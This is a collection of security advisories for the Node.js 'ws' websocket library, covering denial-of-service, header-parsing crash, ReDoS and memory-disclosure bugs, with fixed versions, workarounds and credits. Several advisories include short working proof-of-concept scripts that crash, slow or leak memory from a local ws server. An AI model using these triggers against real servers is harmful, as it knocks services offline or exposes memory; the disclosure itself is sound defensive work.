ws known bugs

Affected versions of `ws` do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload. ## Recommendation Update to version 1.1.1 or later. Alternatively, set the `maxpayload` option for the `ws` server to a value smaller than 256MB.

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent. ## Proof of concept ``` const WebSocket = require('ws'); const net = require('net'); const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor' const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n'); const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ``` ## Recommendation Update to version 3.3.1 or later.

### Impact A request with a number of headers exceeding the[`server.maxHeadersCount`][] threshold could be used to crash a ws server. ### Proof of concept ```js const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e) ### Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][] and/or the [`maxHeaderSize`][] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied. ### Credits The vulnerability was reported by [Ryan LaPointe](https://github.com/rrlapointe) in https://github.com/websockets/ws/issues/2230. ### References - https://github.com/websockets/ws/issues/2230 - https://github.com/websockets/ws/pull/2231 [`--max-http-header-size=size`]: https://nodejs.org/api/cli.html#--max-http-header-sizesize [`maxHeaderSize`]: https://nodejs.org/api/http.html#httpcreateserveroptions-requestlistener [`server.maxHeadersCount`]: https://nodejs.org/api/http.html#servermaxheaderscount

### Impact A specially crafted value of the `Sec-Websocket-Protocol` header can be used to significantly slow down a ws server. ### Proof of concept ```js for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) { const value = 'b' + ' '.repeat(length) + 'x'; const start = process.hrtime.bigint(); value.trim().split(/ *, */); const end = process.hrtime.bigint(); console.log('length = %d, time = %f ns', length, end - start); } ``` ### Patches The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff) and backported to [email protected] (https://github.com/websockets/ws/commit/78c676d2a1acefbc05292e9f7ea0a9457704bf1b) and [email protected] (https://github.com/websockets/ws/commit/76d47c1479002022a3e4357b3c9f0e23a68d4cd2). ### Workarounds In vulnerable versions of ws, the issue can be mitigated by reducing the maximum allowed length of the request headers using the [`--max-http-header-size=size`](https://nodejs.org/api/cli.html#cli_max_http_header_size_size) and/or the [`maxHeaderSize`](https://nodejs.org/api/http.html#http_http_createserver_options_requestlistener) options. ### Credits The vulnerability was responsibly disclosed along with a fix in private by [Robert McLaughlin](https://github.com/robmcl4) from University of California, Santa Barbara.

Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability. In certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks. ## Proof of Concept ``` var ws = require('ws') var server = new ws.Server({ port: 9000 }) var client = new ws('ws://localhost:9000') client.on('open', function () { console.log('open') client.ping(50) // this sends a non-zeroed buffer of 50 bytes client.on('pong', function (data) { console.log('got pong') console.log(data) // Data from the client. }) }) ``` ## Recommendation Update to version 1.0.1 or greater.